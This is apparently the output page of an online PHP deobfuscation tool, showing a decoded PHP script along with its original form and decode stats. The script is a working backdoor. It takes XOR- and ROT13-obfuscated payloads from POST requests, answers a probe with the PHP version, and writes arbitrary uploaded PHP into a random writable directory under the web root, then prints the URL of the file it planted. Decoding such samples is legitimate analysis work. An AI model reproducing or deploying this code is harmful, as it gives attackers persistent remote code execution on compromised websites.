Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rxtdbghzzt = "xaswnaecmahblnux";$rncqrosi = "";foreach ($_POST as $ljfqucig => $tiv..

Decoded Output download

<?php $rxtdbghzzt = "xaswnaecmahblnux";$rncqrosi = "";foreach ($_POST as $ljfqucig => $tivvvmltyz){if (strlen($ljfqucig) == 16 and substr_count($tivvvmltyz, "%") > 10){terqpp($ljfqucig, $tivvvmltyz);}}function terqpp($ljfqucig, $medjffdvbkz){global $rncqrosi;$rncqrosi = $ljfqucig;$medjffdvbkz = str_split(rawurldecode(str_rot13($medjffdvbkz)));function fbvlcxql($xppez, $ljfqucig){global $rxtdbghzzt, $rncqrosi;return $xppez ^ $rxtdbghzzt[$ljfqucig % strlen($rxtdbghzzt)] ^ $rncqrosi[$ljfqucig % strlen($rncqrosi)];}$medjffdvbkz = implode("", array_map("fbvlcxql", array_values($medjffdvbkz), array_keys($medjffdvbkz)));$medjffdvbkz = @unserialize($medjffdvbkz);if (@is_array($medjffdvbkz)){$ljfqucig = array_keys($medjffdvbkz);$medjffdvbkz = $medjffdvbkz[$ljfqucig[0]];if ($medjffdvbkz === $ljfqucig[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function knuddzxk($medjfir) {static $pdlrnlj = array();$yidgiaruga = glob($medjfir . '/*', GLOB_ONLYDIR);if (count($yidgiaruga) > 0) {foreach ($yidgiaruga as $medjf){if (@is_writable($medjf)){$pdlrnlj[] = $medjf;}}}foreach ($yidgiaruga as $medjfir) knuddzxk($medjfir);return $pdlrnlj;}$xooro = $_SERVER["DOCUMENT_ROOT"];$yidgiaruga = knuddzxk($xooro);$ljfqucig = array_rand($yidgiaruga);$vvvdsyzn = $yidgiaruga[$ljfqucig] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vvvdsyzn, $medjffdvbkz);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vvvdsyzn, strlen($xooro));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $rxtdbghzzt = "xaswnaecmahblnux";$rncqrosi = "";foreach ($_POST as $ljfqucig => $tivvvmltyz){if (strlen($ljfqucig) == 16 and substr_count($tivvvmltyz, "%") > 10){terqpp($ljfqucig, $tivvvmltyz);}}function terqpp($ljfqucig, $medjffdvbkz){global $rncqrosi;$rncqrosi = $ljfqucig;$medjffdvbkz = str_split(rawurldecode(str_rot13($medjffdvbkz)));function fbvlcxql($xppez, $ljfqucig){global $rxtdbghzzt, $rncqrosi;return $xppez ^ $rxtdbghzzt[$ljfqucig % strlen($rxtdbghzzt)] ^ $rncqrosi[$ljfqucig % strlen($rncqrosi)];}$medjffdvbkz = implode("", array_map("fbvlcxql", array_values($medjffdvbkz), array_keys($medjffdvbkz)));$medjffdvbkz = @unserialize($medjffdvbkz);if (@is_array($medjffdvbkz)){$ljfqucig = array_keys($medjffdvbkz);$medjffdvbkz = $medjffdvbkz[$ljfqucig[0]];if ($medjffdvbkz === $ljfqucig[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function knuddzxk($medjfir) {static $pdlrnlj = array();$yidgiaruga = glob($medjfir . '/*', GLOB_ONLYDIR);if (count($yidgiaruga) > 0) {foreach ($yidgiaruga as $medjf){if (@is_writable($medjf)){$pdlrnlj[] = $medjf;}}}foreach ($yidgiaruga as $medjfir) knuddzxk($medjfir);return $pdlrnlj;}$xooro = $_SERVER["DOCUMENT_ROOT"];$yidgiaruga = knuddzxk($xooro);$ljfqucig = array_rand($yidgiaruga);$vvvdsyzn = $yidgiaruga[$ljfqucig] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vvvdsyzn, $medjffdvbkz);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vvvdsyzn, strlen($xooro));exit();}}}

Function Calls

None

Variables

$rncqrosi
$rxtdbghzzt xaswnaecmahblnux

Stats

MD5 0d20ee15adec8e75e58325575d1be3e8
Eval Count 0
Decode Time 92 ms